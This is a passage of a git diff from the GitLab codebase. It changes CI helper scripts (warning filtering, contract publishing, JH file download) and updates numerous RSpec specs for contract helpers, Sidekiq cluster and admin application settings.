+ sleep 2
+ done
+
+ if [[ "${verify_success}" != "true" ]]; then
+ echoerr "[$(date '+%H:%M:%S')] Review app revision is not the same as the current commit!"
+ return 1
+ fi
+
+ return 0
+}
+
function display_deployment_debug() {
local namespace="${CI_ENVIRONMENT_SLUG}"
# Install dig to inspect DNS entries
- #
- # Silent install: see https://stackoverflow.com/a/52642167/1620195
- apt-get -qq update && apt-get -qq install -y dnsutils < /dev/null > /dev/null
+ apk add -q bind-tools
echoinfo "[debugging data] Check review-app webservice DNS entry:"
dig +short $(echo "${CI_ENVIRONMENT_URL}" | sed 's~http[s]*://~~g')
diff --git a/scripts/rspec_check_order_dependence b/scripts/rspec_check_order_dependence
index 91d4c5938a7..00f1176e251 100755
--- a/scripts/rspec_check_order_dependence
+++ b/scripts/rspec_check_order_dependence
@@ -40,6 +40,8 @@ done
set -xe
+export RSPEC_WARN_MISSING_FEATURE_CATEGORY=0
+
bin/rspec --order defined "${RSPEC_ARGS[@]}" "$@"
RSPEC_ORDER=reverse bin/rspec "${RSPEC_ARGS[@]}" "$@"
bin/rspec --order random "${RSPEC_ARGS[@]}" "$@"
diff --git a/scripts/setup/as-if-jh.sh b/scripts/setup/as-if-jh.sh
index 38c3ac9b913..445a988b996 100755
--- a/scripts/setup/as-if-jh.sh
+++ b/scripts/setup/as-if-jh.sh
@@ -19,10 +19,9 @@ download_jh_path() {
echoinfo "Downloading ${path}"
- curl --location -o "${output}" -H "Private-Token: ${ADD_JH_FILES_TOKEN}" "https://gitlab.com/api/v4/projects/${GITLAB_JH_MIRROR_PROJECT}/repository/archive?sha=${JH_BRANCH}&path=${path}"
+ curl --location --output "${output}" --header "Private-Token: ${ADD_JH_FILES_TOKEN}" --get --data-urlencode "sha=${JH_BRANCH}" --data-urlencode "path=${path}" "https://gitlab.com/api/v4/projects/${GITLAB_JH_MIRROR_PROJECT}/repository/archive"
- tar -zxf "${output}"
+ tar -zxf "${output}" --strip-component 1
rm "${output}"
- mv gitlab-"${JH_BRANCH}"-*/"${path}" ./
done
}
diff --git a/scripts/setup/find-jh-branch.rb b/scripts/setup/find-jh-branch.rb
index 5b36aa7a1f4..67e83423d9c 100755
--- a/scripts/setup/find-jh-branch.rb
+++ b/scripts/setup/find-jh-branch.rb
@@ -92,7 +92,7 @@ class FindJhBranch
def gitlab
@gitlab ||= Gitlab.client(
endpoint: API::DEFAULT_OPTIONS[:endpoint],
- private_token: API::DEFAULT_OPTIONS[:api_token] || ''
+ private_token: ENV['ADD_JH_FILES_TOKEN'] || ''
)
end
end
diff --git a/scripts/static-analysis b/scripts/static-analysis
index 9a0057d8f4d..0d03dd42c73 100755
--- a/scripts/static-analysis
+++ b/scripts/static-analysis
@@ -7,14 +7,7 @@ require_relative '../lib/gitlab/popen'
require_relative '../lib/gitlab/popen/runner'
class StaticAnalysis
- ALLOWED_WARNINGS = [
- # https://github.com/browserslist/browserslist/blob/d0ec62eb48c41c218478cd3ac28684df051cc865/node.js#L329
- # warns if caniuse-lite package is older than 6 months. Ignore this
- # warning message so that GitLab backports don't fail.
- "Browserslist: caniuse-lite is outdated. Please run next command `yarn upgrade`",
- # https://github.com/mime-types/mime-types-data/pull/50#issuecomment-1060908930
- "Type application/netcdf is already registered as a variant of application/netcdf."
- ].freeze
+ # `ALLOWED_WARNINGS` moved to scripts/allowed_warnings.txt
Task = Struct.new(:command, :duration) do
def cmd
@@ -94,12 +87,12 @@ class StaticAnalysis
if static_analysis.all_success_and_clean?
puts 'All static analyses passed successfully.'
elsif static_analysis.all_success?
- puts 'All static analyses passed successfully, but we have warnings:'
+ puts 'All static analyses passed successfully with warnings.'
puts
emit_warnings(static_analysis)
- exit 2 if warning_count(static_analysis).nonzero?
+ # We used to exit 2 on warnings but `fail_on_warnings` takes care of it now.
else
puts 'Some static analyses failed:'
@@ -112,11 +105,11 @@ class StaticAnalysis
def emit_warnings(static_analysis)
static_analysis.warned_results.each do |result|
- puts
- puts "**** #{result.cmd.join(' ')} had the following warning(s):"
- puts
- puts result.stderr
- puts
+ warn
+ warn "**** #{result.cmd.join(' ')} had the following warning(s):"
+ warn
+ warn result.stderr
+ warn
end
end
@@ -131,11 +124,6 @@ class StaticAnalysis
end
end
- def warning_count(static_analysis)
- static_analysis.warned_results
- .count { |result| !ALLOWED_WARNINGS.include?(result.stderr.strip) } # rubocop:disable Rails/NegateInclude
- end
-
def tasks_to_run(node_total)
total_time = TASKS_WITH_DURATIONS_SECONDS.sum(&:duration).to_f
ideal_time_per_node = total_time / node_total
diff --git a/scripts/trigger-build.rb b/scripts/trigger-build.rb
index 411e5ed13c6..033c2e55329 100755
--- a/scripts/trigger-build.rb
+++ b/scripts/trigger-build.rb
@@ -184,6 +184,20 @@ module Trigger
true
end
+ def gitlab_ref_slug
+ if ENV['CI_COMMIT_TAG']
+ ENV['CI_COMMIT_REF_NAME']
+ else
+ ENV['CI_COMMIT_SHA']
+ end
+ end
+
+ def base_variables
+ super.merge(
+ 'GITLAB_REF_SLUG' => gitlab_ref_slug
+ )
+ end
+
def extra_variables
{
"TRIGGER_BRANCH" => ref,
diff --git a/scripts/utils.sh b/scripts/utils.sh
index 92f647958fe..c71de666ac6 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -109,21 +109,38 @@ function install_junit_merge_gem() {
function fail_on_warnings() {
local cmd="$*"
- local warnings
- warnings="$(mktemp)"
+ local warning_file
+ warning_file="$(mktemp)"
+
+ local allowed_warning_file
+ allowed_warning_file="$(mktemp)"
- eval "$cmd 2>$warnings"
+ eval "$cmd 2>$warning_file"
local ret=$?
- if test -s "$warnings";
+ # Filter out comments and empty lines from allowed warnings file.
+ grep --invert-match --extended-regexp "^#|^$" scripts/allowed_warnings.txt > "$allowed_warning_file"
+
+ local warnings
+ # Filter out allowed warnings from stderr.
+ # Turn grep errors into warnings so we fail later.
+ warnings=$(grep --invert-match --extended-regexp --file "$allowed_warning_file" "$warning_file" 2>&1 || true)
+
+ rm -f "$allowed_warning_file"
+
+ if [ "$warnings" != "" ]
then
echoerr "There were warnings:"
- cat "$warnings"
- rm "$warnings"
+ echoerr "======================== Filtered warnings ====================================="
+ echo "$warnings" >&2
+ echoerr "======================= Unfiltered warnings ===================================="
+ cat "$warning_file" >&2
+ echoerr "================================================================================"
+ rm -f "$warning_file"
return 1
fi
- rm "$warnings"
+ rm -f "$warning_file"
return $ret
}
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
index 302e50bf34f..08d9d7a33fd 100755
--- a/scripts/verify-tff-mapping
+++ b/scripts/verify-tff-mapping
@@ -188,6 +188,20 @@ tests = [
explanation: 'GLFM spec and config files for CE and EE should map to respective markdown snapshot specs',
source: 'glfm_specification/foo',
expected: ['spec/requests/api/markdown_snapshot_spec.rb', 'ee/spec/requests/api/markdown_snapshot_spec.rb']
+ },
+
+ {
+ explanation: 'https://gitlab.com/gitlab-org/quality/engineering-productivity/master-broken-incidents/-/issues/287#note_1192008962',
+ # Note: The metrics seem to be changed every year or so, so this test will fail once a year or so.
+ # You will need to change the metric below for another metric present in the project.
+ source: 'ee/config/metrics/counts_all/20221114065035_delete_merge_request.yml',
+ expected: ['ee/spec/config/metrics/every_metric_definition_spec.rb']
+ },
+
+ {
+ explanation: 'https://gitlab.com/gitlab-org/quality/engineering-productivity/master-broken-incidents/-/issues/287#note_1192008962',
+ source: 'ee/lib/ee/gitlab/usage_data_counters/known_events/common.yml',
+ expected: ['ee/spec/config/metrics/every_metric_definition_spec.rb']
}
]
diff --git a/sidekiq_cluster/cli.rb b/sidekiq_cluster/cli.rb
index 760a5f14c2d..42454a20907 100644
--- a/sidekiq_cluster/cli.rb
+++ b/sidekiq_cluster/cli.rb
@@ -8,7 +8,7 @@ require 'time'
# In environments where code is preloaded and cached such as `spring`,
# we may run into "already initialized" warnings, hence the check.
-require_relative '../lib/gitlab' unless Object.const_defined?('Gitlab')
+require_relative '../lib/gitlab' unless Object.const_defined?(:Gitlab)
require_relative '../lib/gitlab/utils'
require_relative '../lib/gitlab/sidekiq_config/cli_methods'
require_relative '../lib/gitlab/sidekiq_config/worker_matcher'
diff --git a/spec/commands/metrics_server/metrics_server_spec.rb b/spec/commands/metrics_server/metrics_server_spec.rb
index f93be1d9f88..310e31da045 100644
--- a/spec/commands/metrics_server/metrics_server_spec.rb
+++ b/spec/commands/metrics_server/metrics_server_spec.rb
@@ -70,7 +70,8 @@ RSpec.describe 'GitLab metrics server', :aggregate_failures do
before do
if use_golang_server
stub_env('GITLAB_GOLANG_METRICS_SERVER', '1')
- allow(Settings).to receive(:monitoring).and_return(config.dig('test', 'monitoring'))
+ allow(Settings).to receive(:monitoring).and_return(
+ Settingslogic.new(config.dig('test', 'monitoring')))
else
config_file.write(YAML.dump(config))
config_file.close
diff --git a/spec/commands/sidekiq_cluster/cli_spec.rb b/spec/commands/sidekiq_cluster/cli_spec.rb
index c2ea9455de6..0c32fa2571a 100644
--- a/spec/commands/sidekiq_cluster/cli_spec.rb
+++ b/spec/commands/sidekiq_cluster/cli_spec.rb
@@ -245,9 +245,15 @@ RSpec.describe Gitlab::SidekiqCluster::CLI, stub_settings_source: true do # rubo
it 'expands multiple queue groups correctly' do
expected_workers =
if Gitlab.ee?
- [%w[chat_notification], %w[project_export projects_import_export_parallel_project_export projects_import_export_relation_export project_template_export]]
+ [
+ %w[cronjob:clusters_integrations_check_prometheus_health incident_management_close_incident status_page_publish],
+ %w[project_export projects_import_export_parallel_project_export projects_import_export_relation_export project_template_export]
+ ]
else
- [%w[chat_notification], %w[project_export projects_import_export_parallel_project_export projects_import_export_relation_export]]
+ [
+ %w[cronjob:clusters_integrations_check_prometheus_health incident_management_close_incident],
+ %w[project_export projects_import_export_parallel_project_export projects_import_export_relation_export]
+ ]
end
expect(Gitlab::SidekiqCluster)
@@ -255,7 +261,7 @@ RSpec.describe Gitlab::SidekiqCluster::CLI, stub_settings_source: true do # rubo
.with(expected_workers, default_options)
.and_return([])
- cli.run(%w(--queue-selector feature_category=chatops&has_external_dependencies=true resource_boundary=memory&feature_category=importers))
+ cli.run(%w(--queue-selector feature_category=incident_management&has_external_dependencies=true resource_boundary=memory&feature_category=importers))
end
it 'allows the special * selector' do
diff --git a/spec/components/previews/pajamas/button_component_preview.rb b/spec/components/previews/pajamas/button_component_preview.rb
index c07d898d9cd..13a04dc0d63 100644
--- a/spec/components/previews/pajamas/button_component_preview.rb
+++ b/spec/components/previews/pajamas/button_component_preview.rb
@@ -3,7 +3,7 @@ module Pajamas
class ButtonComponentPreview < ViewComponent::Preview
# Button
# ----
- # See its design reference [here](https://design.gitlab.com/components/banner).
+ # See its design reference [here](https://design.gitlab.com/components/button).
#
# @param category select {{ Pajamas::ButtonComponent::CATEGORY_OPTIONS }}
# @param variant select {{ Pajamas::ButtonComponent::VARIANT_OPTIONS }}
@@ -13,7 +13,7 @@ module Pajamas
# @param loading toggle
# @param block toggle
# @param selected toggle
- # @param icon text
+ # @param icon select [~, star-o, issue-closed, tanuki]
# @param text text
def default( # rubocop:disable Metrics/ParameterLists
category: :primary,
@@ -24,7 +24,7 @@ module Pajamas
loading: false,
block: false,
selected: false,
- icon: "pencil",
+ icon: nil,
text: "Edit"
)
render(Pajamas::ButtonComponent.new(
diff --git a/spec/config/inject_enterprise_edition_module_spec.rb b/spec/config/inject_enterprise_edition_module_spec.rb
index 47cb36c569e..e8c0905ff89 100644
--- a/spec/config/inject_enterprise_edition_module_spec.rb
+++ b/spec/config/inject_enterprise_edition_module_spec.rb
@@ -2,7 +2,7 @@
require 'fast_spec_helper'
-RSpec.describe InjectEnterpriseEditionModule, feature_category: :fulfillment_developer_productivity do
+RSpec.describe InjectEnterpriseEditionModule, feature_category: :not_owned do
let(:extension_name) { 'FF' }
let(:extension_namespace) { Module.new }
let(:fish_name) { 'Fish' }
diff --git a/spec/config/mail_room_spec.rb b/spec/config/mail_room_spec.rb
index cf2146bdf77..a3806fb3cb6 100644
--- a/spec/config/mail_room_spec.rb
+++ b/spec/config/mail_room_spec.rb
@@ -27,11 +27,6 @@ RSpec.describe 'mail_room.yml', feature_category: :service_desk do
before do
stub_env('GITLAB_REDIS_QUEUES_CONFIG_FILE', absolute_path(queues_config_path))
- redis_clear_raw_config!(Gitlab::Redis::Queues)
- end
-
- after do
- redis_clear_raw_config!(Gitlab::Redis::Queues)
end
context 'when incoming email is disabled' do
@@ -57,6 +52,7 @@ RSpec.describe 'mail_room.yml', feature_category: :service_desk do
password: '[REDACTED]',
name: 'inbox',
idle_timeout: 60,
+ delete_after_delivery: true,
expunge_deleted: true
}
expected_options = {
@@ -81,7 +77,7 @@ RSpec.describe 'mail_room.yml', feature_category: :service_desk do
email: 'gitlab-incoming@gmail.com',
name: 'inbox',
idle_timeout: 60,
- expunge_deleted: true
+ delete_after_delivery: false
}
expected_options = {
redis_url: gitlab_redis_queues.url,
diff --git a/spec/contracts/provider/helpers/contract_source_helper.rb b/spec/contracts/provider/helpers/contract_source_helper.rb
index 5fc2e3ffc0d..f59f228722d 100644
--- a/spec/contracts/provider/helpers/contract_source_helper.rb
+++ b/spec/contracts/provider/helpers/contract_source_helper.rb
@@ -4,18 +4,22 @@ module Provider
module ContractSourceHelper
QA_PACT_BROKER_HOST = "http://localhost:9292/pacts"
PREFIX_PATHS = {
- rake: "../../../contracts/contracts/project",
+ rake: {
+ ce: "../../contracts/project",
+ ee: "../../../../ee/spec/contracts/contracts/project"
+ },
spec: "../contracts/project"
}.freeze
SUB_PATH_REGEX = %r{project/(?<file_path>.*?)_helper.rb}.freeze
class << self
- def contract_location(requester, file_path)
+ def contract_location(requester:, file_path:, edition: :ce)
raise ArgumentError, 'requester must be :rake or :spec' unless [:rake, :spec].include? requester
+ raise ArgumentError, 'edition must be :ce or :ee' unless [:ce, :ee].include? edition
relevant_path = file_path.match(SUB_PATH_REGEX)[:file_path].split('/')
- ENV["PACT_BROKER"] ? pact_broker_url(relevant_path) : local_contract_location(requester, relevant_path)
+ ENV["PACT_BROKER"] ? pact_broker_url(relevant_path) : local_contract_location(requester, relevant_path, edition)
end
def pact_broker_url(file_path)
@@ -36,9 +40,10 @@ module Provider
"#{file_path[0].split('_').map(&:capitalize).join}%23#{file_path[1]}"
end
- def local_contract_location(requester, file_path)
+ def local_contract_location(requester, file_path, edition)
contract_path = construct_local_contract_path(file_path)
- prefix_path = requester == :rake ? File.expand_path(PREFIX_PATHS[requester], __dir__) : PREFIX_PATHS[requester]
+ prefix_path = PREFIX_PATHS[requester]
+ prefix_path = File.expand_path(prefix_path[edition], __dir__) if requester == :rake
"#{prefix_path}#{contract_path}"
end
diff --git a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb
index aa97a07c07b..2d7486562c2 100644
--- a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "MergeRequests#show" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb
index 891585b0066..4cb358f6e32 100644
--- a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "MergeRequests#show" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_discussions_helper.rb b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_discussions_helper.rb
index 229818366ca..4dea90fc6b7 100644
--- a/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_discussions_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/merge_requests/show/get_discussions_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "MergeRequests#show" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb b/spec/contracts/provider/pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb
index 62702fd5f92..1d9c1331d3b 100644
--- a/spec/contracts/provider/pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "PipelineSchedules#edit" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb b/spec/contracts/provider/pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb
index 03708db2eb2..2263723b123 100644
--- a/spec/contracts/provider/pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/pipelines/index/get_list_project_pipelines_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "Pipelines#index" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb b/spec/contracts/provider/pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb
index 53e5ab61a20..8c2b0278ad1 100644
--- a/spec/contracts/provider/pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/pipelines/new/post_create_a_new_pipeline_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "Pipelines#new" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/pipelines/show/delete_pipeline_helper.rb b/spec/contracts/provider/pact_helpers/project/pipelines/show/delete_pipeline_helper.rb
index 1801e989c99..01b57388d70 100644
--- a/spec/contracts/provider/pact_helpers/project/pipelines/show/delete_pipeline_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/pipelines/show/delete_pipeline_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "Pipelines#show" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider/pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb b/spec/contracts/provider/pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb
index 1f3ba9dd007..aac8d25dbd1 100644
--- a/spec/contracts/provider/pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb
+++ b/spec/contracts/provider/pact_helpers/project/pipelines/show/get_pipeline_header_data_helper.rb
@@ -11,7 +11,7 @@ module Provider
app { Environments::Test.app }
honours_pact_with "Pipelines#show" do
- pact_uri Provider::ContractSourceHelper.contract_location(:spec, __FILE__)
+ pact_uri Provider::ContractSourceHelper.contract_location(requester: :spec, file_path: __FILE__)
end
Provider::PublishContractHelper.publish_contract_setup.call(
diff --git a/spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb b/spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb
index 8bb3b577135..39537aa153d 100644
--- a/spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb
+++ b/spec/contracts/provider_specs/helpers/provider/contract_source_helper_spec.rb
@@ -11,21 +11,26 @@ RSpec.describe Provider::ContractSourceHelper, feature_category: :not_owned do
describe '#contract_location' do
it 'raises an error when an invalid requester is given' do
- expect { subject.contract_location(:foo, pact_helper_path) }
+ expect { subject.contract_location(requester: :foo, file_path: pact_helper_path) }
.to raise_error(ArgumentError, 'requester must be :rake or :spec')
end
+ it 'raises an error when an invalid edition is given' do
+ expect { subject.contract_location(requester: :spec, file_path: pact_helper_path, edition: :zz) }
+ .to raise_error(ArgumentError, 'edition must be :ce or :ee')
+ end
+
context 'when the PACT_BROKER environment variable is not set' do
it 'extracts the relevant path from the pact_helper path' do
- expect(subject).to receive(:local_contract_location).with(:rake, split_pact_helper_path)
+ expect(subject).to receive(:local_contract_location).with(:rake, split_pact_helper_path, :ce)
- subject.contract_location(:rake, pact_helper_path)
+ subject.contract_location(requester: :rake, file_path: pact_helper_path)
end
it 'does not construct the pact broker url' do
expect(subject).not_to receive(:pact_broker_url)
- subject.contract_location(:rake, pact_helper_path)
+ subject.contract_location(requester: :rake, file_path: pact_helper_path)
end
end
@@ -37,13 +42,13 @@ RSpec.describe Provider::ContractSourceHelper, feature_category: :not_owned do
it 'extracts the relevant path from the pact_helper path' do
expect(subject).to receive(:pact_broker_url).with(split_pact_helper_path)
- subject.contract_location(:spec, pact_helper_path)
+ subject.contract_location(requester: :spec, file_path: pact_helper_path)
end
it 'does not construct the pact broker url' do
expect(subject).not_to receive(:local_contract_location)
- subject.contract_location(:spec, pact_helper_path)
+ subject.contract_location(requester: :spec, file_path: pact_helper_path)
end
end
end
@@ -51,7 +56,7 @@ RSpec.describe Provider::ContractSourceHelper, feature_category: :not_owned do
describe '#pact_broker_url' do
it 'returns the full url to the contract that the provider test is verifying' do
contract_url_path = "http://localhost:9292/pacts/provider/" \
- "#{provider_url_path}/consumer/#{consumer_url_path}/latest"
+ "#{provider_url_path}/consumer/#{consumer_url_path}/latest"
expect(subject.pact_broker_url(split_pact_helper_path)).to eq(contract_url_path)
end
@@ -73,7 +78,7 @@ RSpec.describe Provider::ContractSourceHelper, feature_category: :not_owned do
it 'returns the contract file path with the prefix path for a rake task' do
rake_task_relative_path = '/spec/contracts/contracts/project'
- rake_task_path = subject.local_contract_location(:rake, split_pact_helper_path)
+ rake_task_path = subject.local_contract_location(:rake, split_pact_helper_path, :ce)
expect(rake_task_path).to include(rake_task_relative_path)
expect(rake_task_path).not_to include('../')
@@ -82,7 +87,7 @@ RSpec.describe Provider::ContractSourceHelper, feature_category: :not_owned do
it 'returns the contract file path with the prefix path for a spec' do
spec_relative_path = '../contracts/project'
- expect(subject.local_contract_location(:spec, split_pact_helper_path)).to include(spec_relative_path)
+ expect(subject.local_contract_location(:spec, split_pact_helper_path, :ce)).to include(spec_relative_path)
end
end
diff --git a/spec/contracts/publish-contracts.sh b/spec/contracts/publish-contracts.sh
index f20cc43e258..8b9d4b6ecc6 100644
--- a/spec/contracts/publish-contracts.sh
+++ b/spec/contracts/publish-contracts.sh
@@ -2,22 +2,50 @@ LATEST_SHA=$(git rev-parse HEAD)
GIT_BRANCH=$(git rev-parse --abbrev-ref HEAD)
BROKER_BASE_URL="http://localhost:9292"
-CONTRACTS=$(find ./contracts -name "*.json")
-ERROR=0
-
-trap 'catch' ERR
+cd "${0%/*}" || exit 1
function catch() {
printf "\e[31mAn error occured while trying to publish the pact.\033[0m\n"
ERROR=1
}
-for contract in $CONTRACTS
-do
- printf "\e[32mPublishing ${contract}...\033[0m\n"
- pact-broker publish $contract --consumer-app-version $LATEST_SHA --branch $GIT_BRANCH --broker-base-url $BROKER_BASE_URL --output json
-done
+function publish_contract () {
+ CONTRACTS=$(find ./contracts -name "*.json")
+ ERROR=0
+
+ trap 'catch' ERR
+
+ for contract in $CONTRACTS
+ do
+ printf "\e[32mPublishing %s...\033[0m\n" "$contract"
+ pact-broker publish "$contract" --consumer-app-version "$LATEST_SHA" --branch "$GIT_BRANCH" --broker-base-url "$BROKER_BASE_URL" --output json
+ done
+
+ if [ ${ERROR} = 1 ]; then
+ exit 1;
+ fi
+}
+
+function publish_ce_contracts () {
+ publish_contract
+}
+
+function publish_ee_contracts () {
+ cd "../../ee/spec/contracts" || exit 1
+ publish_contract
+}
-if [ ${ERROR} = 1 ]; then
+if [ $1 = "ce" ]; then
+ printf "\e[32mPublishing CE contracts...\033[0m\n"
+ publish_ce_contracts
+elif [ $1 = "ee" ]; then
+ printf "\e[32mPublishing EE contracts...\033[0m\n"
+ publish_ee_contracts
+elif [ $1 = "all" ]; then
+ printf "\e[32mPublishing all contracts...\033[0m\n"
+ publish_ce_contracts
+ publish_ee_contracts
+else
+ printf "\e[31mInvalid argument. Please choose either \"ce\", \"ee\", or \"all\".\033[0m\n"
exit 1;
-fi \ No newline at end of file
+fi
diff --git a/spec/controllers/admin/application_settings/appearances_controller_spec.rb b/spec/controllers/admin/application_settings/appearances_controller_spec.rb
index 5978381a926..78dce4558c3 100644
--- a/spec/controllers/admin/application_settings/appearances_controller_spec.rb
+++ b/spec/controllers/admin/application_settings/appearances_controller_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Admin::ApplicationSettings::AppearancesController do
let(:create_params) do
{
title: 'Foo',
- short_title: 'F',
+ pwa_short_name: 'F',
description: 'Bar',
header_message: header_message,
footer_message: footer_message
diff --git a/spec/controllers/admin/application_settings_controller_spec.rb b/spec/controllers/admin/application_settings_controller_spec.rb
index 49c40ecee8b..32ac0f8dc07 100644
--- a/spec/controllers/admin/application_settings_controller_spec.rb
+++ b/spec/controllers/admin/application_settings_controller_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
end
- describe 'GET #integrations' do
+ describe 'GET #integrations', feature_category: :integrations do
before do
sign_in(admin)
end
@@ -46,7 +46,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
end
end
- describe 'GET #usage_data with no access' do
+ describe 'GET #usage_data with no access', feature_category: :service_ping do
before do
stub_usage_data_connections
sign_in(user)
@@ -59,7 +59,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
end
end
- describe 'GET #usage_data' do
+ describe 'GET #usage_data', feature_category: :service_ping do
before do
stub_usage_data_connections
stub_database_flavor_check
@@ -120,13 +120,6 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
sign_in(admin)
end
- it 'updates the require_admin_approval_after_user_signup setting' do
- put :update, params: { application_setting: { require_admin_approval_after_user_signup: true } }
-
- expect(response).to redirect_to(general_admin_application_settings_path)
- expect(ApplicationSetting.current.require_admin_approval_after_user_signup).to eq(true)
- end
-
it 'updates the password_authentication_enabled_for_git setting' do
put :update, params: { application_setting: { password_authentication_enabled_for_git: "0" } }
@@ -204,13 +197,6 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
expect(ApplicationSetting.current.default_branch_name).to eq("example_branch_name")
end
- it "updates admin_mode setting" do
- put :update, params: { application_setting: { admin_mode: true } }
-
- expect(response).to redirect_to(general_admin_application_settings_path)
- expect(ApplicationSetting.current.admin_mode).to be(true)
- end
-
it 'updates valid_runner_registrars setting' do
put :update, params: { application_setting: { valid_runner_registrars: ['project', ''] } }
@@ -218,11 +204,23 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
expect(ApplicationSetting.current.valid_runner_registrars).to eq(['project'])
end
- it 'updates can_create_group setting' do
- put :update, params: { application_setting: { can_create_group: false } }
+ context 'boolean attributes' do
+ shared_examples_for 'updates booolean attribute' do |attribute|
+ specify do
+ existing_value = ApplicationSetting.current.public_send(attribute)
+ new_value = !existing_value
- expect(response).to redirect_to(general_admin_application_settings_path)
- expect(ApplicationSetting.current.can_create_group).to eq(false)
+ put :update, params: { application_setting: { attribute => new_value } }
+
+ expect(response).to redirect_to(general_admin_application_settings_path)
+ expect(ApplicationSetting.current.public_send(attribute)).to eq(new_value)
+ end
+ end
+
+ it_behaves_like 'updates booolean attribute', :user_defaults_to_private_profile
+ it_behaves_like 'updates booolean attribute', :can_create_group
+ it_behaves_like 'updates booolean attribute', :admin_mode
+ it_behaves_like 'updates booolean attribute', :require_admin_approval_after_user_signup
end
context "personal access token prefix settings" do
@@ -402,7 +400,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
end
end
- describe 'PUT #reset_registration_token' do
+ describe 'PUT #reset_registration_token', feature_category: :credential_management do
before do
sign_in(admin)
end
@@ -420,7 +418,7 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
end
end
- describe 'PUT #reset_error_tracking_access_token' do
+ describe 'PUT #reset_error_tracking_access_token', feature_category: :error_tracking do
before do
sign_in(admin)
end
